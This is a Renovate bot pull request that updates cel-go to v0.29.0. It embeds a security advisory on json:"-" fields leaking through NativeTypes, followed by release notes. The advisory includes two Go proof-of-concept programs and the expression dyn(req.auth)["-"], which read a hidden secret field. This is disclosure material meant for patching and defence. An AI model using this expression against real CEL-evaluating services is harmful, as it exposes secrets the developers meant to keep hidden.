Skip to content

Update module github.com/google/cel-go to v0.29.0 [SECURITY] (release/v0.7) - #1725

Open
renovate-rancher[bot] wants to merge 1 commit into
release/v0.7from
renovate/release/v0.7-go-github.com-google-cel-go-vulnerability
Open

Update module github.com/google/cel-go to v0.29.0 [SECURITY] (release/v0.7)#1725
renovate-rancher[bot] wants to merge 1 commit into
release/v0.7from
renovate/release/v0.7-go-github.com-google-cel-go-vulnerability

Conversation

@renovate-rancher

@renovate-rancher renovate-rancher Bot commented Jul 25, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/google/cel-go v0.22.0 → v0.29.0 age confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.

cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag

GHSA-gcjh-h69q-9w9g

More information

Details

The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].

Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.

Root cause

In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.

See at ext/native.go:146:

func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
    return func(field reflect.StructField) string {
        tag, found := field.Tag.Lookup(structTagToParse)
        if found {
            splits := strings.Split(tag, ",")
            if len(splits) > 0 {
                // We make the assumption that the leftmost entry in the tag is the name.
                // This seems to be true for most tags that have the concept of a name/key, such as:
                // https://pkg.go.dev/encoding/xml#Marshal
                // https://pkg.go.dev/encoding/json#Marshal
                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
                name := splits[0]
                return name
            }
        }

        return field.Name
    }
}

For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.

This contradicts the encoding/json rule that the source comment explicitly points readers to:

As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".

The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:

// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
    return func(ntp *nativeTypeOptions) error {
        ntp.fieldNameHandler = fieldNameByTag(tag)
        return nil
    }
}

A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.

The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.

See at ext/native.go:663:

if fieldNameHandler != nil {
    fieldNames := make(map[string]struct{})

    for idx := 0; idx < refType.NumField(); idx++ {
        field := refType.Field(idx)
        fieldName := toFieldName(fieldNameHandler, field)

        if _, found := fieldNames[fieldName]; found {
            return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
        } else {
            fieldNames[fieldName] = struct{}{}
        }
    }
}

Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.

See at ext/native.go:286:

func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
    if t, found := tp.nativeTypes[typeName]; found {
        fieldCount := t.refType.NumField()
        fields := make([]string, fieldCount)
        for i := 0; i < fieldCount; i++ {
            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
        }
        return fields, true
    }
    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
        return celTypeFields, true
    }
    return tp.baseProvider.FindStructFieldNames(typeName)
}

Field lookup also treats the name as valid and returns the underlying Go field value.

See at ext/native.go:303:

func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
    t, found := tp.nativeTypes[typeName]
    if !found {
        return tp.baseProvider.FindStructFieldType(typeName, fieldName)
    }
    refField, isDefined := t.hasField(fieldName)
    if !found || !isDefined {
        return nil, false
    }

    return &types.FieldType{
        IsSet: func(obj any) bool {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return !refField.IsZero()
        },
        GetFrom: func(obj any) (any, error) {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return getFieldValue(refField), nil
        },
    }, true
}

At runtime, native objects advertise index access.
See at ext/native.go:37:

var (
    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)

Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:

dyn(req.auth)["-"]

The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.

See at ext/native.go:501:

case jsonStructType:
    refVal := reflect.Indirect(o.refValue)
    refType := refVal.Type()
    fields := make(map[string]*structpb.Value, refVal.NumField())
    for i := 0; i < refVal.NumField(); i++ {
        fieldType := refType.Field(i)
        fieldValue := refVal.Field(i)
        if !fieldValue.IsValid() || fieldValue.IsZero() {
            continue
        }
        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
        fieldCELVal := o.NativeToValue(fieldValue.Interface())
        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
        if err != nil {
            return nil, err
        }
        fields[fieldName] = fieldJSONVal.(*structpb.Value)
    }
    return &structpb.Struct{Fields: fields}, nil

This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.

The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.

See at ext/native.go:609:

func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
    nt, err := newNativeType(fieldNameHandler, rawType)
    if err != nil {
        return nil, err
    }
    result := []*nativeType{nt}

    var iterateStructMembers func(reflect.Type)
    iterateStructMembers = func(t reflect.Type) {
        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
            iterateStructMembers(t.Elem())
            return
        }
        if t.Kind() != reflect.Struct {
            return
        }

        nt, ntErr := newNativeType(fieldNameHandler, t)
        if ntErr != nil {
            err = ntErr
            return
        }
        result = append(result, nt)

        for idx := 0; idx < t.NumField(); idx++ {
            iterateStructMembers(t.Field(idx).Type)
        }
    }
    iterateStructMembers(rawType)

    return result, err
}

As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.

Reproduction
package main

import (
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"
)

// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // server-internal; never appears in JSON output
}

// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.
        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.Req")),
    )
    ast, _ := env.Compile(`dyn(req.auth)["-"]`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })
    fmt.Println(out) // sk-live-s3cr3t
}

Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.

The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.

path 1. CEL indexing

Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:

require github.com/google/cel-go v0.28.1

Running the PoC above (go run main.go) produces:

sk-live-s3cr3t

The secret value is returned verbatim, with no error at compile time or at runtime.

Path 2. ConvertToNative(jsonStructType)

When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".

package main

import (
    "encoding/json"
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"

    structpb "google.golang.org/protobuf/types/known/structpb"
)

type AuthCtxConv struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // should never appear in JSON output
}

type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.ReqConv")),
    )

    ast, _ := env.Compile(`req.auth`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })

    jsonStructType := reflect.TypeOf(&structpb.Struct{})
    raw, _ := out.ConvertToNative(jsonStructType)

    st := raw.(*structpb.Struct)
    b, _ := json.MarshalIndent(st.AsMap(), "", "  ")
    fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
    fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
    if v, ok := st.Fields["-"]; ok {
        fmt.Printf("Value: %s\n", v.GetStringValue())
    }
}

Running the PoC above produces:

ConvertToNative(jsonStructType) output:
{
  "-": "sk-live-s3cr3t",
  "userId": "alice"
}

Direct field access via "-" key present: true
Value: sk-live-s3cr3t

The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.

Impact

Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.

Remediation

Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.

Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.

Apply that skip decision consistently anywhere native fields are exposed or resolved:

  • duplicate-name validation in newNativeType
  • field enumeration in FindStructFieldNames
  • field type lookup in FindStructFieldType
  • runtime lookup in fieldByName / hasField
  • object construction in NewValue
  • JSON conversion in ConvertToNative(jsonStructType)

Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

google/cel-go (github.com/google/cel-go)

v0.29.0

Compare Source

What's Changed

New Features
Bug Fixes
Cost Tracking
Testing & Tooling
Documentation

v0.28.1

Compare Source

What's Changed

New Contributors

Full Changelog: cel-expr/cel-go@v0.28.0...v0.28.1

v0.28.0

Compare Source

High-Level Changes

  • Enhanced JSON Interoperability: New support for JSON names across the checker, AST, and runtime allows for more seamless data handling when working with JSON-native structures.
  • Improved Developer Tooling: Integration is now smoother thanks to new utilities for converting Go errors into cel.Issues and more descriptive, context-aware error messages.
  • Greater Environment Flexibility: You can now redeclare variables as constants and export parse limit options, providing finer control over how CEL environments are configured and constrained.
  • Native Struct Improvements: Support for mixing CEL and native values within native structs simplifies the handling of complex, hybrid data types.

🚀 Features

  • Add helper method to check whether a function has a singleton binding in #​1266
  • Helper utility for converting a Go error into cel.Issues in #​1267
  • Policy API improvements in #​1268
  • CEL Test usability requirements in #​1269
  • Better context-related error messages in #​1271
  • Sort env.Config values where reasonable in #​1273
  • Support redeclaring variables as constants in NewEnv in #​1275
  • Add support for exporting parse limit options in #​1277
  • Support mixing CEL values and native values in native structs in #​1270
  • Add checker, AST, and type-provider support for JSON names in #​1283
  • JSON field names runtime support in #​1286
  • Optionally include reachable fieldpaths in prompt in #​1285
  • REPL -- cel-spec pb2 and json name support #​1294

🐞 Bug Fixes

  • Fix support for config-based type references in #​1265
  • Check arg kinds in optional.or and .orValue impl in #​1276
  • Bazel fixes for import in #​1278
  • Support zero-value literals in presence test inlining #​1280
  • Cache concatList.Size() to prevent O(N^2) evaluation time #​1291
  • Preserve runtime error node IDs from Resolve #​1290
  • Default enable identifier escaping with backticks #​1295
  • Cap format string precision to prevent memory exhaustion #​1292

🛠️ Maintenance & Internal

  • chore: Migrate gsutil usage to gcloud storage in #​1274
  • Lint fixes for exported function/type comments in #​1279
  • Lint fixes for import in #​1287

Full Changelog: https://github.com/google/cel-go/compare/v0.27.0...v0.28.0-alpha

v0.27.0

Compare Source

Release Summary

This release focuses on improving developer tooling and stability. Key highlights include significant enhancements to the REPL (YAML configuration support and parse-only evaluation), the addition of cost estimation for regex operations, and improved test coverage reporting.

On the stability front, this release addresses race conditions in reference types, improves namespace resolution, and ensures formatting directives align strictly with the CEL specification.

Note: This release includes a breaking change regarding how types are handled as variables. Please review the "Breaking Changes" section below.

⚠ Breaking Changes

Remove types as variables: The logic for handling types has been relaxed to support safe rollout of feature packages which introduce new types whose names may collide with existing variables. Please review your policies if you relied on types behaving strictly as variables in previous versions. PR #​1262

Features & Enhancements

REPL & Tooling

  • YAML Configuration: The REPL now supports reading and writing YAML environment configurations. PR #​1250

  • Parse-Only Mode: Added parse-only evaluation capabilities to the REPL. PR #​1254

  • Test Coverage: Introduced logic for CEL test coverage calculation and updated the reporter to handle error/unknown scenarios.PR #​1209 & PR #​1215

Core Library

  • Regex Costing: Added support for cost estimation and tracking within the regex library. PR #​1200

  • JSON Type Exposure: Exposed CEL JSON types to assist developers in converting to native values. PR #​1261

  • Policy Composition: Source information is now preserved during CEL policy composition, aiding in debugging. PR #​1253

Extensibility:

  • Updated extension option factory to resolve by ID (#​1249).

  • Refactored match output compiling to accept user-defined logic (#​1246).

  • Exposed Match source ID to callers (#​1227).

Build & Maintenance

  • Bazel: Migrated to use Bazel module only and improved configuration for dependent builds. PR #​1231 & PR #​1228

  • Cleanup: Removed strcase dependency, removed AppEngine code from REPL, and performed general linting. PR #​1230, #​1216, #​1251

Bug Fixes

  • Concurrency: Fixed a race condition in the checker regarding reference types. PR #​1224

  • Namespace Resolution: Addressed an issue with namespace resolution. PR #​1256

  • Spec Compliance: Fixed formatting directives to fully support requirements documented in the cel-spec. PR #​1232

New Contributors

Full Changelog: cel-expr/cel-go@v0.26.1...v0.27.0

v0.26.1

Compare Source

What's Changed

New Contributors

Full Changelog: cel-expr/cel-go@v0.25.1...v0.26.1

v0.26.0

Compare Source

New Features ✨
Bug Fixes 🐛
Test Updates 🧪
Documentation 📚
Dependency Updates ⬆️

v0.25.1

Compare Source

v0.25.0

Compare Source

Features & Enhancements

This release introduces features for richer configuration-based CEL, AI prompt generation from config files, additional documentation, and 3x performance when evaluating traced / state-tracking expressions. This release also introduces a unit test runner framwork.

#​1141: Expose extension option factory as a public method

#​1143: Add a new compiler tool which can be used to compile CEL expressions and policies using serialized environment

#​1151: Lightweight observable evaluation

#​1155: Utilities for formatting and parsing documentation strings

#​1156: Support for documentation and example strings in CEL environments

#​1158: Re-export interpreter.AttributePattern in package cel.

#​1159: Document the standard library macros and functions

#​1160: Prompt generation for AI-assisted authoring based on a CEL environment

#​1117: Add LateFunctionBinding declaration and fix constant folding

#​1163: Initialize stateful observers prior to evaluation

#​1164: Unparse Expr values to strings

#​1149: Add test runner library

#​1167: REPL: Add an extension option for two var comprehensions

Fixes

Several fixes were implemented, including updating strings.format to better adhere to the specification, correcting constant folding logic alongside the late binding feature, removing a non-functional check in test code, and adding argument count validation for optFieldSelect.

#​1133: Update strings.format to adhere to the specification

#​1117: Add LateFunctionBinding declaration and fix constant folding

#​1161: Remove non-functional optional check in test-only selection

#​1168: Check arg count when validating optFieldSelect

Refactoring & Internal Improvements

General refactoring was performed across the codebase. Coverage and comments for Activation methods were improved. The test runner library was refactored to create options from flags and improve code structure.

#​1145: Refactoring changes

#​1150: Additional comments and coverage for Activation methods

#​1165: Refactoring changes to create a test runner option from passed flags, correct indentation and add package level comment for test

Documentation

Documentation was enhanced, including updates to the NativeTypes documentation regarding the cel tag, adding documentation for the optional library, and documenting the standard library functions/macros as part of the documentation string feature.

#​1148: Update NativeTypes doc to reflect how to enable cel tag

#​1155: Utilities for formatting and parsing documentation strings

#​1156: Support for documentation and example strings in CEL environments

#​1159: Document the standard library macros and functions

#​1162: Document optional library and increase docs coverage

Build System

Configuration fixes were made for Bzlmod compatibility.

#​1146: Bzlmod configuration fixes

Type System

Type formatting was updated to correctly handle type parameters.

#​1154: Update type formatting for type params

v0.24.1

Compare Source

Fixes

  • Separate unnest optimization from composer to capture type info [#​1138]

Full Changelog: cel-expr/cel-go@v0.24.0...v0.24.1

v0.24.0

Compare Source

Support for subsetting CEL standard library and serialization of CEL environments to YAML.

CEL is an official Google product [#​1122]

Features

  • Helper methods for subsetting function overloads [#​1120]
  • Introduce cel package aliases for Activation [#​1123]
  • Canonical environment description and stdlib subsetting [#​1125]
  • Support for cel.Env conversion to YAML-serializable config [#​1128]
  • Option to configure CEL via env.Config object [#​1129]
  • Support for feature flags and validators in env.Config [#​1132]
  • Add k8s custom policy tag handler for test [#​1121]

Fixes

  • ContextEval support for Unknowns [#​1126]
  • Fix godoc formatting for Lists and OptionalTypes functions [#​1127]
  • Default enable DefaultUTCTimeZone [#​1130]
  • Support for splitting nested branching operators within policies [#​1136]

New Contributors

Full Changelog: cel-expr/cel-go@v0.23.2...v0.24.0

v0.23.2

Compare Source

Corrects one remaining issue for cost computations from the v0.23.0 releases

Fixes

Full Changelog: cel-expr/cel-go@v0.23.1...v0.23.2

v0.23.1

Compare Source

Minor release to address cost tracking and size estimation [#​1113]

Full Changelog: cel-expr/cel-go@v0.23.0...v0.23.1

v0.23.0

Compare Source

Features

  • First and last element in list support [#​1067]
  • Add support for typed conformance tests. [#​1089]
  • Add syntax for escaped field selectors. [#​1002]
  • Add optional.unwrap() / .unwrapOpt() function [#​1103]
  • Cost tracking for two-variable comprehensions and bindings [#​1104]

Fixes

PR #​1099 enables a change in the internal variable name used for comprehension result accumulation. This change may break some tests which inspect the AST contents in text form; however, will not break any existing uses of CEL during parse, check, or evaluation.

  • Improve policy compiler error message for incompatible outputs. [#​1082]
  • Fix partial evaluation with the comprehension folder objects [#​1084]
  • Introduce versioning options to all extensions [#​1075]
  • Fix a crash in mismatched output check for nested rules [#​1086]
  • improve debug output to properly quote byte strings [#​1088]
  • Fix two-variable comprehension pruning [#​1083]
  • Replace checks for valid UTF-8 in strings with go-maintained calls [#​1094]
  • Policy nested rule fix [#​1092]
  • Address non-const format string lint findings [#​1096]
  • Fix typos in ext/README.md [#​1098]
  • Add option to use inaccessible accumulator var [#​1097]
  • Add test cases for string.format covering various edge cases [#​1101]
  • Add base_config and partial_config files under restricted_destination testdata [#​1106]
  • Default enable using hidden accumulator name [#​1099]
  • Update PruneAst to support constants of optional type [#​1109]

New Contributors

Full Changelog: cel-expr/cel-go@v0.22.1...v0.23.0

v0.22.1

Compare Source

Fixes

  • Additional hardening on legacy macros [#​1064]
  • Additional nil-safety checks with corresponding test updates [#​1073]
  • Add two-variable comprehension support to cel-policy [#​1074]
  • Fix optional test to short-circuit [#​1076]
  • Fix nil-type when two-var comprehension has a dyn range [#​1077]

New Contributors

Full Changelog: cel-expr/cel-go@v0.22.0...v0.22.1

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@renovate-rancher renovate-rancher Bot added the dependencies Pull requests that update a dependency file label Jul 25, 2026
@renovate-rancher
renovate-rancher Bot requested a review from a team as a code owner July 25, 2026 05:30
@renovate-rancher

renovate-rancher Bot commented Jul 25, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 1 additional dependency was updated

Details:

Package Change
github.com/antlr4-go/antlr/v4 v4.13.0 -> v4.13.1

@renovate-rancher renovate-rancher Bot added the dependencies Pull requests that update a dependency file label Jul 25, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants